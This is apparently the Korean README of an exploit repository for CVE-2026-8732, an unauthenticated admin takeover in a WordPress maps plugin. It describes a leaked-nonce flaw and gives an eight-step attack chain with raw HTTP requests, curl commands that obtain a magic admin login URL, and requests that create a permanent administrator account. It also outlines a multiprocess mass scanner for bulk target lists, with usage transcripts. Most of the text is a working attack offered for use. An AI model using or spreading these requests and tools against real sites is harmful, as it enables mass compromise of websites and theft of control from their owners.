┌──────────────────────────────────────────────────────────────┐
│  취약점 1 — 인증 없이 노출된 엔드포인트                     │
│  ▸ AJAX 액션이 wp_ajax_nopriv_로 등록됨                     │
│  ▸ 누구나 로그인 없이 접근 가능                              │
└──────────────────────┬───────────────────────────────────────┘
                       │
┌──────────────────────▼───────────────────────────────────────┐
│  취약점 2 — 공개 페이지에서 난스(nonce) 유출                │
│  ▸ wpgmp_local.nonce 객체가 모든 페이지에 포함됨            │
│  ▸ 공격자가 HTML 소스에서 난스 추출 가능                    │
└──────────────────────┬───────────────────────────────────────┘
                       │
┌──────────────────────▼───────────────────────────────────────┐
│  취약점 3 — 접근 권한 검사 없음                             │
│  ▸ 콜백 함수는 난스만 확인함                                 │
│  ▸ current_user_can() 없음 — 추가 방어 수단 없음            │
└──────────────────────────────────────────────────────────────┘

  ┌─────────┐   ┌──────────┐   ┌──────────┐   ┌──────────┐
  │ 1단계   │──▶│ 2단계    │──▶│ 3단계    │──▶│ 4단계    │
  │ RESOLVE │   │ CHECK WP │   │ DETECT   │   │ VERSION  │
  │ HTTPS?  │   │ wp-content│   │ PLUGIN   │   │ ≤6.1.0? │
  │ HTTP?   │   │ wp-login  │   │ wpgmp_   │   │ WAF?     │
  └─────────┘   └──────────┘   └──────────┘   └─────┬────┘
                                                      │ 취약함
                                                      ▼
  ┌──────────────────────────────────────────────────────────┐
  │                    5단계 — 난스 추출                      │
  │                                                          │
  │  그룹 A (API)         그룹 B (콘텐츠)       그룹 C      │
  │  ├─ M1: REST pages    ├─ M4: Sitemap XML   └─ M7: Slug  │
  │  ├─ M2: REST search   ├─ M5: Homepage links    Brute    │
  │  └─ M3: rest_route    └─ M6: RSS/Atom feed   Force     │
  │                                                          │
  │  대상: wpgmp_local.nonce = "fc-call-nonce"               │
  └──────────────────────────┬───────────────────────────────┘
                             │ 난스 발견됨
                             ▼
  ┌──────────┐   ┌──────────┐   ┌──────────┐
  │ 6단계   │──▶│ 7단계    │──▶│ 8단계    │
  │ EXPLOIT  │   │ VERIFY   │   │ ADD ADMIN│
  │ POST AJAX│   │ Magic URL│   │ PERMANEN │
  │ nonce+   │   │ Cookie   │   │ REST API │
  │ check_   │   │ login    │   │ WP-Admin │
  │ temp=false│   │ check    │   │ Form     │
  └──────────┘   └──────────┘   └──────────┘
                                       │
                                       ▼
                               ✅ 관리자 생성 완료
                               로그인: wp_xxxx / pass
                               역할: administrator

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpgmp_temp_access_ajax
nonce=<추출된_난스>
check_temp=false

{"url":"https://target.com/?wpgmp_access=abc123def456"}

POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-WP-Nonce: <REST_NONCE>
Content-Type: application/json

{
  "username": "wp_xxxxxxxx",
  "email": "user@localhost",
  "password": "Str0ng!Pass#2026",
  "roles": ["administrator"]
}

POST /wp-admin/user-new.php HTTP/1.1
Host: target.com
Cookie: [admin_cookies]
Content-Type: application/x-www-form-urlencoded

user_login=wp_xxxxxxxx
email=user@localhost
pass1=Str0ng!Pass#2026
pass2=Str0ng!Pass#2026
pw_weak=1                       <-- 핵심: 약한 비밀번호 확인
role=administrator
createuser=Add New User
_wpnonce_create-user=<NONCE>

CVE-2026-8732.py
│
├── 📦 NonceFinder — 7가지 방법으로 난스 검색
│   ├── 그룹 A (API): M1 REST pages, M2 REST search, M3 rest_route
│   ├── 그룹 B (콘텐츠): M4 Sitemap, M5 Homepage links, M6 RSS feed
│   └── 그룹 C (강제): M7 Slug brute force (30+ 일반 slug)
│
├── ⚔️ Exploiter — 8단계 익스플로잇 엔진
│   ├── resolve()           → 1단계: 프로토콜 선택
│   ├── check_wp()          → 2단계: WordPress 확인
│   ├── detect_plugin()     → 3단계: 플러그인 탐지 + 조기 난스
│   ├── detect_version()    → 4단계: 버전 탐지 + WAF
│   ├── exploit()           → 6단계: 핵심 익스플로잇
│   ├── verify()            → 7단계: 관리자 로그인 확인
│   └── add_admin()         → 8단계: 영구 관리자 추가
│
├── 🔧 Worker Process — 멀티프로세싱 작업 프로세스
│   ├── producer()          → mp.Queue에서 도메인 읽기
│   └── consumer() (N)      → 병렬 스캔 실행
│
└── 🖥️ Scanner — 사용자 인터페이스
    ├── single()            → 단일 대상 모드 (대화형)
    └── multi()             → 다중 대상 모드 (대량)

  targets.txt          mp.Queue (작업)         asyncio.Queue
  ┌─────────┐    ┌─────────────────┐    ┌──────────────────┐
  │ domain1 │───▶│  domain queue   │───▶│  internal queue  │
  │ domain2 │    │  (IPC between   │    │  (per process)   │
  │ domain3 │    │   processes)    │    └────────┬─────────┘
  │  ...    │    └─────────────────┘              │
  └─────────┘                          ┌─────────▼──────────┐
                                       │   소비자 (N)        │
                                       │   Exploiter.scan()  │
                                       │   8단계 전체        │
                                       └─────────┬──────────┘
                                                 │
                                       ┌─────────▼──────────┐
                                       │  mp.Queue (결과)    │──▶ vuln.txt
                                       │  + JSON + TXT      │    + debug.log
                                       └────────────────────┘

pip install aiohttp

python3 CVE-2026-8732.py

  [?] 모드 선택:
      1. Single Target
      2. Multi Target (파일 목록)

  > 1

  [?] 대상 도메인 (http/https 없이): target.com
  [?] 타임아웃 [기본값: 15]: 15

python3 CVE-2026-8732.py

  [?] 모드 선택:
      1. Single Target
      2. Multi Target (파일 목록)

  > 2

  [?] 대상 파일 경로 (.txt): targets.txt
  [?] 프로세스 수 [기본값: 10]: 10
  [?] 프로세스당 동시성 [기본값: 50]: 50
  [?] 요청당 타임아웃 [기본값: 10]: 10
  [?] 출력 파일 [기본값: vuln.txt]: vuln.txt
  [?] 디버그 모드? (y/n) [기본값: n]: y

# 1단계: 프론트엔드 페이지에서 난스 추출
NONCE=$(curl -sk https://target.com/ | grep -oP '"nonce"\s*:\s*"\K[a-f0-9]{10}')
echo "Nonce: $NONCE"

# 2단계: 익스플로잇 페이로드 전송
RESPONSE=$(curl -sk -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=wpgmp_temp_access_ajax&nonce=$NONCE&check_temp=false")
echo "Response: $RESPONSE"

# 3단계: 매직 URL에 접근하여 관리자로 로그인
MAGIC_URL=$(echo $RESPONSE | python3 -c "import sys,json; print(json.load(sys.stdin)['url'])")
curl -sk -L -c cookies.txt "$MAGIC_URL"

# 4단계: 관리자 접근 확인
curl -sk -b cookies.txt https://target.com/wp-admin/profile.php | grep 'id="user_login"'

# 5단계: REST API 또는 WP-Admin 폼을 통해 영구 관리자 생성

  ┌───────────────┐    ┌───────────────┐
  │  조건 1       │ AND│  조건 2       │
  │  버전 ≤6.1.0  │    │  GOLD 활성    │
  │               │    │               │
  └───────┬───────┘    └───────┬───────┘
          │                    │
          ▼                    ▼
  nopriv 액션        WPGMP_Temp_
  여전히 등록됨       Access 사용 가능
          │                    │
          └────────┬─────────┘
                   ▼
             ✅ 관리자 생성 완료

CVE-2026-8732/
├── CVE-2026-8732.py      # 자동 익스플로잇 스크립트
├── README.md              # 프로젝트 문서 (이 파일)
└── LICENSE                # MIT 라이선스

MIT License

Copyright (c) 2026 XENON1337

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.